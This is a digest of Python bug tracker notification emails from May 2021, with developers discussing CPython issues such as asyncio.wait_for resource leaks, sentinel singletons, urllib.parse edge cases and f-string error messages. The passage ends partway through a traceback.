<1620892521.24.0.845891865003.issue44114@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24734 pull_request: https://github.com/python/cpython/pull/26094 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 04:03:19 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 13 May 2021 08:03:19 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620892999.91.0.776603585563.issue44114@roundup.psfhosted.org> Serhiy Storchaka added the comment: Good catch! The signature of dictkeys_reversed was already fixed (for purity reason), but the same bug in dictvalues_reversed and dictitems_reversed was missed. It is nice that such bugs can now be caught by tools. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 04:03:52 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 13 May 2021 08:03:52 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620893032.43.0.331160388669.issue44114@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- type: behavior -> crash versions: +Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 04:17:14 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 08:17:14 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620893834.76.0.627740276651.issue44114@roundup.psfhosted.org> miss-islington added the comment: New changeset 7cbe6ca63495d478a3164d6d26ef36cb611abbbb by Miss Islington (bot) in branch '3.10': bpo-44114: Fix dictkeys_reversed and dictvalues_reversed function signatures (GH-26062) https://github.com/python/cpython/commit/7cbe6ca63495d478a3164d6d26ef36cb611abbbb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 04:31:27 2021 From: report at bugs.python.org (Mahmoud Harmouch) Date: Thu, 13 May 2021 08:31:27 +0000 Subject: [issue44121] Missing implementation for formatHeader and formatFooter methods of the BufferingFormatter class in the logging module. Message-ID: <1620894687.71.0.747868468698.issue44121@roundup.psfhosted.org> New submission from Mahmoud Harmouch : While I was browsing in the source code of the logging package, I've encountered missing implementations for formatHeader and formatFooter methods of the BufferingFormatter class(in __init__ file). Therefore, I'm going to implement them and push these changes in a pull request. ---------- components: Library (Lib) messages: 393565 nosy: Harmouch101 priority: normal severity: normal status: open title: Missing implementation for formatHeader and formatFooter methods of the BufferingFormatter class in the logging module. type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 04:39:05 2021 From: report at bugs.python.org (Denis S. Otkidach) Date: Thu, 13 May 2021 08:39:05 +0000 Subject: [issue37658] In some cases asyncio.wait_for can lead to socket leak. In-Reply-To: <1563884177.4.0.19779936427.issue37658@roundup.psfhosted.org> Message-ID: <1620895145.42.0.995939407175.issue37658@roundup.psfhosted.org> Denis S. Otkidach added the comment: The current solutions doesn't look correct. It swallows cancelling causing task to hang: https://bugs.python.org/issue42130 . Proposed test case calls cancel for inner future and set_result for outer task in the same loop step. The old (prior to this patch) behaviour in this case looks correct to me. We have to elaborate on original problem to find the source of actual race. Therefore I've tried to reproduce the problem with original code sample and published the adapted version of it here: https://github.com/ods/bpo-37658 . Nikita Ilyasov, please correct me if I've misunderstood what you meant. My result is that proposed solution actually doesn't solve the problem, but rather lowers the chance to get it. Namely, I get the traceback quoted in README both with 3.8.5, 3.9.4, and current code in main. ---------- nosy: +ods _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 04:48:53 2021 From: report at bugs.python.org (Mahmoud Harmouch) Date: Thu, 13 May 2021 08:48:53 +0000 Subject: [issue44121] Missing implementation for formatHeader and formatFooter methods of the BufferingFormatter class in the logging module. In-Reply-To: <1620894687.71.0.747868468698.issue44121@roundup.psfhosted.org> Message-ID: <1620895733.33.0.304639231359.issue44121@roundup.psfhosted.org> Change by Mahmoud Harmouch : ---------- keywords: +patch pull_requests: +24735 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26095 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 04:49:17 2021 From: report at bugs.python.org (Adam Liddell) Date: Thu, 13 May 2021 08:49:17 +0000 Subject: [issue42130] AsyncIO's wait_for can hide cancellation in a rare race condition In-Reply-To: <1603469429.01.0.760360212477.issue42130@roundup.psfhosted.org> Message-ID: <1620895757.5.0.0207100346021.issue42130@roundup.psfhosted.org> Change by Adam Liddell : ---------- nosy: +aaliddell _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 04:53:43 2021 From: report at bugs.python.org (Adam Liddell) Date: Thu, 13 May 2021 08:53:43 +0000 Subject: [issue37658] In some cases asyncio.wait_for can lead to socket leak. In-Reply-To: <1563884177.4.0.19779936427.issue37658@roundup.psfhosted.org> Message-ID: <1620896023.44.0.229673282052.issue37658@roundup.psfhosted.org> Adam Liddell added the comment: Some discussion leading up to that change is here https://github.com/MagicStack/asyncpg/pull/548 and in the issues it links. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 05:17:39 2021 From: report at bugs.python.org (Ken Jin) Date: Thu, 13 May 2021 09:17:39 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1620897459.74.0.821310766893.issue38908@roundup.psfhosted.org> Change by Ken Jin : ---------- pull_requests: +24736 pull_request: https://github.com/python/cpython/pull/26096 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 06:00:26 2021 From: report at bugs.python.org (Ohad Shemesh) Date: Thu, 13 May 2021 10:00:26 +0000 Subject: [issue44122] let linter allow defining attribute outside __init__ if called in __init__ Message-ID: <1620900026.84.0.58923352351.issue44122@roundup.psfhosted.org> New submission from Ohad Shemesh : A have a simple scenario in which I have a class with some initialized attribute that I want to be able to reset again. In order to avoid code duplication I'd to to something like this - class A: def __init__(self): self.reset() def reset(self): self.ls: List[datetime] = [] However this behavior makes the linter (in my case in pycharm) say "instance attribute defined outside __init__". I think it'd be for the better if the linter allows this kind of definition if the function (i.e reset) is called in __init__. ---------- components: Parser messages: 393568 nosy: lys.nikolaou, ohadsunny, pablogsal priority: normal severity: normal status: open title: let linter allow defining attribute outside __init__ if called in __init__ type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 06:23:28 2021 From: report at bugs.python.org (Ivan Naydonov) Date: Thu, 13 May 2021 10:23:28 +0000 Subject: [issue39093] tkinter objects garbage collected from non-tkinter thread cause crash In-Reply-To: <1576724216.68.0.395572121912.issue39093@roundup.psfhosted.org> Message-ID: <1620901408.14.0.390502420351.issue39093@roundup.psfhosted.org> Ivan Naydonov added the comment: I recently faced this problem and this bug was very helpful to understand whats going on. Especially the comment about a problem being a tkinter reference leaked to a thread. Most of the discussions in google results doesn't mention it (or at least it's not easy to find). I understand that fixing this problem on tkinter side won't be easy (if even possible), but I think it would be very useful for everyone to extend error message to explain the problem and ideally add some information that can help identify problematic reference - at least the name of the thread it was deleted from. ---------- nosy: +samogot _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 06:23:51 2021 From: report at bugs.python.org (Ivan Naydonov) Date: Thu, 13 May 2021 10:23:51 +0000 Subject: [issue39093] tkinter objects garbage collected from non-tkinter thread cause crash In-Reply-To: <1576724216.68.0.395572121912.issue39093@roundup.psfhosted.org> Message-ID: <1620901431.99.0.926833839498.issue39093@roundup.psfhosted.org> Ivan Naydonov added the comment: I recently faced this problem and this bug was very helpful to understand whats going on. Especially the comment about a problem being a tkinter reference leaked to a thread. Most of the discussions in google results doesn't mention it (or at least it's not easy to find). I understand that fixing this problem on tkinter side won't be easy (if even possible), but I think it would be very useful for everyone to extend error message to explain the problem and ideally add some information that can help identify problematic reference - at least the name of the thread it was deleted from. ---------- nosy: +samogot _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 06:29:31 2021 From: report at bugs.python.org (Ivan Naydonov) Date: Thu, 13 May 2021 10:29:31 +0000 Subject: [issue39093] tkinter objects garbage collected from non-tkinter thread cause crash In-Reply-To: <1576724216.68.0.395572121912.issue39093@roundup.psfhosted.org> Message-ID: <1620901771.52.0.938972713697.issue39093@roundup.psfhosted.org> Ivan Naydonov added the comment: I recently faced this problem and this bug was very helpful to understand whats going on. Especially the comment about a problem being a tkinter reference leaked to a thread. Most of the discussions in google results doesn't mention it (or at least it's not easy to find). I understand that fixing this problem on tkinter side won't be easy (if even possible), but I think it would be very useful for everyone to extend error message to explain the problem and ideally add some information that can help identify problematic reference - at least the name of the thread it was deleted from. ---------- nosy: +samogot _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 06:41:25 2021 From: report at bugs.python.org (Denis S. Otkidach) Date: Thu, 13 May 2021 10:41:25 +0000 Subject: [issue37658] In some cases asyncio.wait_for can lead to socket leak. In-Reply-To: <1563884177.4.0.19779936427.issue37658@roundup.psfhosted.org> Message-ID: <1620902485.58.0.953064696514.issue37658@roundup.psfhosted.org> Change by Denis S. Otkidach : ---------- pull_requests: +24738 pull_request: https://github.com/python/cpython/pull/26097 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 06:41:25 2021 From: report at bugs.python.org (Denis S. Otkidach) Date: Thu, 13 May 2021 10:41:25 +0000 Subject: [issue42130] AsyncIO's wait_for can hide cancellation in a rare race condition In-Reply-To: <1603469429.01.0.760360212477.issue42130@roundup.psfhosted.org> Message-ID: <1620902485.46.0.949002399914.issue42130@roundup.psfhosted.org> Change by Denis S. Otkidach : ---------- keywords: +patch pull_requests: +24737 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26097 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 06:47:48 2021 From: report at bugs.python.org (Ivan Naydonov) Date: Thu, 13 May 2021 10:47:48 +0000 Subject: [issue39093] tkinter objects garbage collected from non-tkinter thread cause crash In-Reply-To: <1576724216.68.0.395572121912.issue39093@roundup.psfhosted.org> Message-ID: <1620902868.25.0.720370199583.issue39093@roundup.psfhosted.org> Ivan Naydonov added the comment: I recently faced this problem and this bug was very helpful to understand whats going on. Especially the comment about a problem being a tkinter reference leaked to a thread. Most of the discussions in google results doesn't mention it (or at least it's not easy to find). I understand that fixing this problem on tkinter side won't be easy (if even possible), but I think it would be very useful for everyone to extend error message to explain the problem and ideally add some information that can help identify problematic reference - at least the name of the thread it was deleted from. ---------- nosy: +samogot _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 07:10:01 2021 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 13 May 2021 11:10:01 +0000 Subject: [issue44115] Improve conversions for fractions In-Reply-To: <1620824977.65.0.255343602515.issue44115@roundup.psfhosted.org> Message-ID: <1620904201.91.0.0172246393517.issue44115@roundup.psfhosted.org> Change by Mark Dickinson : ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 07:43:50 2021 From: report at bugs.python.org (Inada Naoki) Date: Thu, 13 May 2021 11:43:50 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620906230.23.0.436144846507.issue44114@roundup.psfhosted.org> Change by Inada Naoki : ---------- pull_requests: +24739 pull_request: https://github.com/python/cpython/pull/26098 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 07:43:52 2021 From: report at bugs.python.org (Lysandros Nikolaou) Date: Thu, 13 May 2021 11:43:52 +0000 Subject: [issue44122] let linter allow defining attribute outside __init__ if called in __init__ In-Reply-To: <1620900026.84.0.58923352351.issue44122@roundup.psfhosted.org> Message-ID: <1620906232.3.0.807927483233.issue44122@roundup.psfhosted.org> Lysandros Nikolaou added the comment: Hi Ohad and thanks for filing a report. This is not a problem with CPython and outside of our control. You'd have to ask this question to the PyCharm linter team (unfortunately I don't know where exactly you would be able to do that). Closing. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 07:57:17 2021 From: report at bugs.python.org (Open Close) Date: Thu, 13 May 2021 11:57:17 +0000 Subject: [issue40938] urllib.parse.urlunsplit makes relative path to absolute (http:g -> http:///g) In-Reply-To: <1591787928.34.0.800218743026.issue40938@roundup.psfhosted.org> Message-ID: <1620907037.12.0.940575777839.issue40938@roundup.psfhosted.org> Open Close added the comment: hello, @jaswdr, but I can't understand what's wrong with my point. What is 'the expected behaviour'? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 08:14:53 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 12:14:53 +0000 Subject: [issue43757] pathlib: move 'resolve()' logic out of path flavour In-Reply-To: <1617762768.57.0.0406169855145.issue43757@roundup.psfhosted.org> Message-ID: <1620908093.92.0.831509498844.issue43757@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24740 pull_request: https://github.com/python/cpython/pull/26099 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 08:17:12 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 12:17:12 +0000 Subject: [issue39906] pathlib.Path: add `follow_symlinks` argument to `stat()` and `chmod()` In-Reply-To: <1583699719.8.0.302577003742.issue39906@roundup.psfhosted.org> Message-ID: <1620908232.4.0.290895456928.issue39906@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24741 pull_request: https://github.com/python/cpython/pull/26100 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 08:35:11 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 12:35:11 +0000 Subject: [issue39906] pathlib.Path: add `follow_symlinks` argument to `stat()` and `chmod()` In-Reply-To: <1583699719.8.0.302577003742.issue39906@roundup.psfhosted.org> Message-ID: <1620909311.19.0.950400068732.issue39906@roundup.psfhosted.org> miss-islington added the comment: New changeset 2d972b8e7cb5347ddf83dfcee461f550b59f0736 by Miss Islington (bot) in branch '3.10': bpo-39906: Document new follow_symlinks argument to pathlib.Path.stat() and chmod() in 3.10 whatsnew. (GH-26089) https://github.com/python/cpython/commit/2d972b8e7cb5347ddf83dfcee461f550b59f0736 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 08:37:56 2021 From: report at bugs.python.org (Jonathan Schweder) Date: Thu, 13 May 2021 12:37:56 +0000 Subject: [issue40938] urllib.parse.urlunsplit makes relative path to absolute (http:g -> http:///g) In-Reply-To: <1591787928.34.0.800218743026.issue40938@roundup.psfhosted.org> Message-ID: <1620909476.75.0.672168333561.issue40938@roundup.psfhosted.org> Jonathan Schweder added the comment: @op368 as far as I can see, regarding of any miss interpretation, yes, the RFC has this section: "http:g" = "http:g" ; for strict parsers / "http://a/b/c/g" ; for backward compatibility What I can understand is that for "http:g" it will be translated to "http:///g" because of backward compatibility, this seems to be an edge case for the parser, since the RFC text also mention that this should be avoided. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 09:08:12 2021 From: report at bugs.python.org (Open Close) Date: Thu, 13 May 2021 13:08:12 +0000 Subject: [issue40938] urllib.parse.urlunsplit makes relative path to absolute (http:g -> http:///g) In-Reply-To: <1591787928.34.0.800218743026.issue40938@roundup.psfhosted.org> Message-ID: <1620911292.4.0.56680019556.issue40938@roundup.psfhosted.org> Open Close added the comment: 'http:///g' has absolute path '/g', and as urljoin shows: >>> urljoin('http://a/b/c/d', 'http:///g') 'http://a/g' # 'a' is netloc So you are proposing third interpretation. "http:g" = "http:g" ; for strict parsers / "http://a/b/c/g" ; for backward compatibility / "http://a/g" ; (yours) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 09:10:32 2021 From: report at bugs.python.org (Jonathan Schweder) Date: Thu, 13 May 2021 13:10:32 +0000 Subject: [issue40938] urllib.parse.urlunsplit makes relative path to absolute (http:g -> http:///g) In-Reply-To: <1591787928.34.0.800218743026.issue40938@roundup.psfhosted.org> Message-ID: <1620911432.05.0.109493415887.issue40938@roundup.psfhosted.org> Jonathan Schweder added the comment: Not exactly, in the RFC example they use a/b/c for the path, but when using http:g there is no nested path, so it should be http:///g, no? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 09:11:49 2021 From: report at bugs.python.org (Mark Shannon) Date: Thu, 13 May 2021 13:11:49 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620911509.21.0.546533111834.issue43933@roundup.psfhosted.org> Mark Shannon added the comment: New changeset 0acdf255a51b836c0b44f3676797620322974af3 by Mark Shannon in branch '3.10': [3.10] bpo-43933: Force RETURN_VALUE bytecodes to have line numbers (GH-26061) https://github.com/python/cpython/commit/0acdf255a51b836c0b44f3676797620322974af3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 09:17:06 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 13 May 2021 13:17:06 +0000 Subject: [issue44123] make function parameter sentinel value true singletons Message-ID: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> New submission from Tal Einat : I recently noticed that some functions use sentinel values to differentiate between not having been passed any value vs. None. One example of this is traceback.print_exception(), hence I'm adding Irit to the nosy list. However, using e.g. `sentinel = object()` or a single instance of a dedicated class/type can break when combined with pickling (see examples below). Since these sentinel are usually compared using the `is` operator, having more than a single instance will break things, sometimes in very confusing ways. I suggest ensuring that a single instance is always used, probably by using a class with a __new__() method making sure to always return a single instance. >>> sentinel = object() >>> sentinel2 = pickle.loads(pickle.dumps(sentinel)) >>> sentinel is sentinel2 False >>> sentinel >>> sentinel2 >>> class A: ... pass ... >>> a = A() >>> a2 = pickle.loads(pickle.dumps(a)) >>> a is a2 False >>> a <__main__.A object at 0x7fd00a9972f0> >>> a2 <__main__.A object at 0x7fd009599450> ---------- components: Library (Lib) messages: 393580 nosy: iritkatriel, taleinat priority: normal severity: normal status: open title: make function parameter sentinel value true singletons type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 09:52:54 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 13 May 2021 13:52:54 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1620913974.39.0.114397480413.issue44123@roundup.psfhosted.org> Tal Einat added the comment: Additional examples of such sentinel values in the stdlib are those in the dataclasses module, e.g. dataclasses.MISSING. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 09:59:31 2021 From: report at bugs.python.org (Zachary Ware) Date: Thu, 13 May 2021 13:59:31 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1620914371.52.0.379174991733.issue44123@roundup.psfhosted.org> Zachary Ware added the comment: FWIW, at work we've been using `...` as a handy not-None singleton. ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 10:11:56 2021 From: report at bugs.python.org (Open Close) Date: Thu, 13 May 2021 14:11:56 +0000 Subject: [issue40938] urllib.parse.urlunsplit makes relative path to absolute (http:g -> http:///g) In-Reply-To: <1591787928.34.0.800218743026.issue40938@roundup.psfhosted.org> Message-ID: <1620915116.19.0.385749206593.issue40938@roundup.psfhosted.org> Open Close added the comment: I tried hard (even read RFC1630), but I think no. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 10:24:18 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 13 May 2021 14:24:18 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1620915858.56.0.256252092016.issue44123@roundup.psfhosted.org> Change by Eric V. Smith : ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 10:53:36 2021 From: report at bugs.python.org (Denis S. Otkidach) Date: Thu, 13 May 2021 14:53:36 +0000 Subject: [issue37658] In some cases asyncio.wait_for can lead to socket leak. In-Reply-To: <1563884177.4.0.19779936427.issue37658@roundup.psfhosted.org> Message-ID: <1620917616.4.0.310145765203.issue37658@roundup.psfhosted.org> Denis S. Otkidach added the comment: The original problem can be fixed by wrapping await into try-except block: ``` async def create_connection(ssl_obj): loop = asyncio.get_event_loop() connector = loop.create_connection(MyEchoClientProtocol, '127.0.0.1', 5000, ssl=ssl_obj) connector = asyncio.ensure_future(connector) try: tr, pr = await connector except asyncio.CancelledError: if connector.done(): tr, pr = connector.result() # Uncommenting the following line fixes the problem: # tr.close() raise return tr, pr ``` I've updated my example to reproduce this: https://github.com/ods/bpo-37658/commit/eca3d81d60cbe129ce687674e6451836d567f6b9 I believe it's general problem with maintaining atomicity in async code, and not a bug in `wait_for`. Probably having an interface like `async with loop.create_connection(?) as transport, protocol` might simplify correct usage for this particular case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 10:59:38 2021 From: report at bugs.python.org (Petr Viktorin) Date: Thu, 13 May 2021 14:59:38 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1620917978.39.0.814511401932.issue43795@roundup.psfhosted.org> Change by Petr Viktorin : ---------- pull_requests: +24742 pull_request: https://github.com/python/cpython/pull/26101 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 11:13:28 2021 From: report at bugs.python.org (ra1nb0w) Date: Thu, 13 May 2021 15:13:28 +0000 Subject: [issue44104] http.cookies.CookieError: Illegal key In-Reply-To: <1620671460.12.0.286608999298.issue44104@roundup.psfhosted.org> Message-ID: <1620918808.35.0.267864668518.issue44104@roundup.psfhosted.org> ra1nb0w added the comment: Just another question: jaswdr, can you provide an example on how to filter out http.cookies.CookieError? thanks ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 11:20:09 2021 From: report at bugs.python.org (Adam Liddell) Date: Thu, 13 May 2021 15:20:09 +0000 Subject: [issue37658] In some cases asyncio.wait_for can lead to socket leak. In-Reply-To: <1563884177.4.0.19779936427.issue37658@roundup.psfhosted.org> Message-ID: <1620919209.84.0.903519779979.issue37658@roundup.psfhosted.org> Adam Liddell added the comment: Wrapping every resource allocating call like that is what we were trying to avoid, since it makes wait_for go from a simple one-line helper to something you have to be very careful with. Conceptually, a user should expect that wait_for should behave the exact same as awaiting the underlying awaitable, just with auto-cancellation. The problem with the current wait_for is that there is a gap where the underlying task may have completed but a cancellation arrives. In this case, we need to raise the cancellation to be a good asyncio citizen, but the underlying task has no opportunity to act on the cancellation (to free the resource) since it is already complete and cannot be re-entered. So the resource returned by the completed task gets stuck in limbo, since we can't return it and we can't assume a generic 'close' behaviour. See my comment in the PR for a suggestion about an alternative structure for wait_for, which may avoid this gap and hence prevent the leak (but I have not tested it!) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 11:39:39 2021 From: report at bugs.python.org (Angus L'Herrou) Date: Thu, 13 May 2021 15:39:39 +0000 Subject: [issue44124] Unhelpful SyntaxError message with mis-ordering of f-string specifiers Message-ID: <1620920379.64.0.222926941671.issue44124@roundup.psfhosted.org> New submission from Angus L'Herrou : The f-string grammar clearly specifies the correct order of f-string =, !, and : specifiers: replacement_field ::= "{" f_expression ["="] ["!" conversion] [":" format_spec] "}" However, when these components are used in the wrong order, the error messages, while understandable if you know the grammar, are not exactly helpful for users of all knowledge levels. >>> foo = 12.345 >>> f'{foo=:.2f}' # correct ordering of = and : 'foo=12.35' >>> f'{foo:.2f=}' # incorrect ordering of : and = Traceback (most recent call last): File "", line 1, in ValueError: Invalid format specifier >>> f'{foo=!r}' # correct ordering of = and ! 'foo=12.345' >>> f'{foo!r=}' # incorrect ordering of ! and = File "", line 1 SyntaxError: f-string: expecting '}' >>> bar = 'abcd' >>> f'{bar!r:.2s}' # correct ordering of ! and : "'a" >>> f'{bar:.2s!r}' # incorrect ordering of : and ! Traceback (most recent call last): File "", line 1, in ValueError: Invalid format specifier It would be more helpful to have more descriptive error messages specifying the correct order of these features. f-string format specifiers, especially ! and =, are in my experience fairly poorly known features, and more descriptive feedback when they are used incorrectly would avoid discouraging users from using them at all upon encountering a cryptic error. Since __format__ can have an arbitrary implementation for different data types, and therefore there might be some user-defined class that accepts :.2f!r as a valid format specifier, the ValueErrors here might have to stay, but at least the SyntaxError from f'{foo!r=}' could be clearer. ---------- components: Parser messages: 393587 nosy: angus-lherrou, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: Unhelpful SyntaxError message with mis-ordering of f-string specifiers type: enhancement versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 12:20:28 2021 From: report at bugs.python.org (Angus L'Herrou) Date: Thu, 13 May 2021 16:20:28 +0000 Subject: [issue44124] Unhelpful error messages with mis-ordering of f-string specifiers In-Reply-To: <1620920379.64.0.222926941671.issue44124@roundup.psfhosted.org> Message-ID: <1620922828.94.0.581101332259.issue44124@roundup.psfhosted.org> Change by Angus L'Herrou : ---------- title: Unhelpful SyntaxError message with mis-ordering of f-string specifiers -> Unhelpful error messages with mis-ordering of f-string specifiers _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:06:08 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 17:06:08 +0000 Subject: [issue37788] fix for bpo-36402 (threading._shutdown() race condition) causes reference leak In-Reply-To: <1565194972.64.0.065323919799.issue37788@roundup.psfhosted.org> Message-ID: <1620925568.18.0.32752336511.issue37788@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:09:09 2021 From: report at bugs.python.org (William Minchin) Date: Thu, 13 May 2021 17:09:09 +0000 Subject: [issue38552] Colored Prompt broken in REPL in Windows in 3.8 In-Reply-To: <1571682177.17.0.615459893721.issue38552@roundup.psfhosted.org> Message-ID: <1620925749.6.0.0814541115089.issue38552@roundup.psfhosted.org> William Minchin added the comment: I can't reproduce this today: Python 3.8.6 (or 3.9.5) with PowerShell 7.1.3 on Windows 10 with Windows Terminal. Maybe it got fixed by a bugfix release of Python 3.8? I'll close it for now. c.f. https://github.com/tartley/colorama/issues/233 ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:19:31 2021 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 13 May 2021 17:19:31 +0000 Subject: [issue44098] Remove ParamSpec from __parameters__ of most typing generics In-Reply-To: <1620639695.98.0.0136931922016.issue44098@roundup.psfhosted.org> Message-ID: <1620926371.26.0.291025874789.issue44098@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset c55ff1b352f8b82184f80d9dea220e832691acfc by Miss Islington (bot) in branch '3.10': bpo-44098: Drop ParamSpec from most ``__parameters__`` in typing generics (GH-26013) (#26091) https://github.com/python/cpython/commit/c55ff1b352f8b82184f80d9dea220e832691acfc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:21:23 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 17:21:23 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620926483.3.0.165620674353.issue44074@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:21:50 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 13 May 2021 17:21:50 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1620926510.3.0.529348939246.issue44123@roundup.psfhosted.org> Tal Einat added the comment: Here is what I suggest working with sentinels would look like: >>> from dataclasses import MISSING >>> MISSING dataclasses.MISSING >>> M2 = pickle.loads(pickle.dumps(MISSING)) >>> M2 dataclasses.MISSING >>> M2 is MISSING True Here's an implementation which ensures a single instance is used, even considering multi-threading and pickling, which sets a nice repr according to the module and class name: try: from threading import Lock except ImportError: class Lock: def __enter__(self): pass def __exit__(self, exc_type, exc_value, traceback): pass class Sentinel: _instance = None _lock = Lock() def __new__(cls): if cls._instance is None: with cls._lock: if cls._instance is None: cls._instance = super().__new__(cls) return cls._instance def __repr__(self): *path_parts, classname = self.__class__.__qualname__.split('.') return '.'.join([self.__class__.__module__, *path_parts, classname.removeprefix('_')]) class _MISSING(Sentinel): pass MISSING = _MISSING() ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:21:56 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 17:21:56 +0000 Subject: [issue44125] "make patchcheck" fails Message-ID: <1620926516.59.0.875459758344.issue44125@roundup.psfhosted.org> New submission from Antoine Pitrou : ./python ./Tools/scripts/patchcheck.py Getting base branch for PR ... Traceback 